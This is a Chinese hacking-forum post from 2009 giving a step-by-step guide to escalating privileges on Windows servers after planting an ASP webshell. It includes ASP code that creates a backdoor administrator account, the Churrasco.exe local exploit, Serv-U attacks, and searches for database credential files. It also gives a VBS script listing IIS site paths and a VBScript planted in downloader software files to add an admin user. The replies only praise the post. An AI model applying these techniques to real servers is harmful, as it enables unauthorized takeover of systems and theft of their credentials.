Board logo

标题: ASP SHELL提权流程详解 [打印本页]

作者: enterer    时间: 2009-11-9 21:41     标题: ASP SHELL提权流程详解

ASP SHELL提权流程详解
文章作者 enterer
博客 www.enterer.cn
转载请保留

呵呵,本文应该是《asp webshell权限总结》的继续了吧。
文章导读:
本篇文章你可以看到1.本人提权经验与技巧 2.提权服务器的自己总结的流程

拿到webshell,确定了是什么权限的,那么提权就可以开始了。
1.首先是最简单的system权限下直接添加账号,和普通的CMD命令没有什么区别。这种机会还是很少的,基本我就遇到过23次。                此处提权失败进入2.

还有一个特别的,用asp代码来提权,不过几率更小,在提权刚开始可以试一试。
也不知道在什么环境下的
代码如下,这个也是网上找到的
<%
Set onlineServer=GetObject("WinNT://127.0.0.1")
Set newuser=onlineServer.Create("user","enterer")
NewUser.SetPassword "123456"
NewUser.FullName="enterer test"
NewUser.Description="enterer's example"
NewUser.Setinfo
Set oDomain=GetObject("WinNT://"&"127.0.0.1")
Set oGroup=oDomain.GetObject("Group","administrators")
oGroup.Add ("winnt://enterer")
Response.Write "用户enterer添加成功"
Response.Write("<BR>")
Response.Write "用户enterer已经被添加到管理员组"
Set oDomain=Nothing
Set oGroup=Nothing
%>
Enterer是账号 123456是密码


2.下意识的使用shell自带的提权功能,全部都测试一遍。
Serv_UpcAnywhereRadmin密码读取等 可能会成功的哦,我第一次就是用了SU提权成功的,当时连提权的原理都不知道。                     此处提权失败进入3.


3.然后观察shell上的信息,如果在查询管理了出现什么xxx$的账号,那么很有可能服务器就已经被其他的黑客提权成功了。

测试服务器是否支持phpaspx ,这个两个shell的权限都比asp的大。(提权的方法都差不多,但是权限愈大机会愈大)支持的话最好用aspxshell来提权,aspx的权限等同于user

查看服务器安装了什么软件,杀毒软件安装的话提取可能会失败(貌似麦咖啡有防溢出);
迅雷和搜狗最新也爆出提权的方法;安装了mssql或者mysql可以用数据库提权;su的话最好了有修改权限的话就可以直接加个ftpsystem权限进去提权;FlashFXP的话下载Sites.dat quick.dat Stats.dat用软件破解密码或者直接覆盖本地的,然后直接连接,用以扩大战果;Gen6据说也能提权,不过没试过;Magic Winmail大概也可以提权,不过我也没有试过。

不过很多课程都介绍反弹NC提权,替换系统服务提权,写入启动项提权,perl提权。反正我是没成功过,NC由于我是内网就没试过,不过反弹的话能把guestshell反弹个system权限过来吗,估计也是不可能。替换系统服务,没试过,不知道怎么找,我也没耐心,况且shell有往windows\system32里写入的权限还不得而知。启动项一样的,有次我用su往启动项里echo写加管理员的代码都没有成功。Perl提权,这个也太RP了吧,貌似必须是要启用什么GUI,我也是一次没试过。
然后来端口扫描,看看开了什么端口
3389 远程桌面
1433 mssql
3306 mysql
43958 SU
等等
看到43958就偷笑吧
提权进入4.


4.ftp 域名 来确认使用的是什么ftp软件,一般来说安装了Serv_U的服务器就有很大的机会提权。版本越低,成功率越高。如果是su版本在6.3以下,即使改了默认的密码
SU7.X,8.X都有提权脚本,SU9.X最近又爆出提权的漏洞了。一般来说SU提权成功占提权成功的60%以上。具体的可以看我的文章《一次su提权的失败》,虽然失败了,但是详细介绍了SU提权的各种方法。                此处提权失败进入5.



5.利用巴西烤肉提权。估计很多人都不知道巴西烤肉是什么东西,就是Churrasco.exe这个文件,网上一搜有很多下载。这个是利用系统的漏洞进行溢出提权,基本提权成功20%以上。
如果使用这个提权没有回显或者反应很慢,就基本表示提权失败了。
提权的方法是在CMD命令一行里输入C:\recycler\1.exe空格“CMD命令”,1.exe就是巴西烤肉,成功率也和RP有关。            此处提权失败后提权的机会就比较小了。此处提权失败进入6.

6.查找conn.asp webconfig.asp等文件查找mssqlSA密码,和查找inc.php 等文件查找mysqlroot密码 这两种方法都有提权的机会。
查找的方法在《第一次mssql提权里有介绍》,那个是利用aspx的一个功能来实现的。现在来介绍两个在asp环境下的查找方法。
第一个是利用CMD命令 dir /s d:\conn.asp 或者 dir /s d:\*inc*.php 来查找配置文件。这个CMD命令就等于搜索的意思,搜索d盘下的全部conn.asp文件。或者你知道网站用的CMS,可以搜索这个CMS名称加上数据库配置文件位置。当然,文件比较多的话,回显就比较慢

第二个是利用一个VBS,来查询服务器里全部网站的路径,用这个方法也可以找到配置文件
VBS代码这个是有次入侵服务器得到的,貌似部分可以用,可以显示网站的路径。
Set ObjService=GetObject("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
If IsNumeric(obj3w.Name) Then
sServerName=Obj3w.ServerComment
Set webSite = GetObject("IIS://Localhost/W3SVC/" & obj3w.Name & "/Root")
ListAllWeb = ListAllWeb & obj3w.Name & String(25-Len(obj3w.Name)," ") & obj3w.ServerComment & "(" & webSite.Path & ")" & vbCrLf

End If
Next
WScript.Echo ListAllWeb
Set ObjService=Nothing
WScript.Quit

7.基本提权就这些流程了,还可以用软件的漏洞来提权,例如搜狗是替换掉PinyinUp.exe来提权。迅雷是在安装目录下的geturl.htm getAllurl.htm 里面加入代码进行提权,其实也很渺茫。
<script language="VBScript">
Set vbs=CreateObject("Wscript.Shell")
vbs.run "cmd /c net user
用户名 密码
/add",0
vbs.run "cmd /c net localgroup administrators
用户名
/add",0
</script>


8.社工的提权还没用过,太XE了就不介绍了。





文章可能会有一些错误,欢迎大家来批评。
作者: 远洋方舟    时间: 2010-5-21 13:19

菜鸟来看点基础的东西
作者: 12公分    时间: 2010-6-11 11:07

不错,受益匪浅...




欢迎光临 【3.A.S.T】网络安全爱好者 (http://3ast.com/) Powered by Discuz! 7.2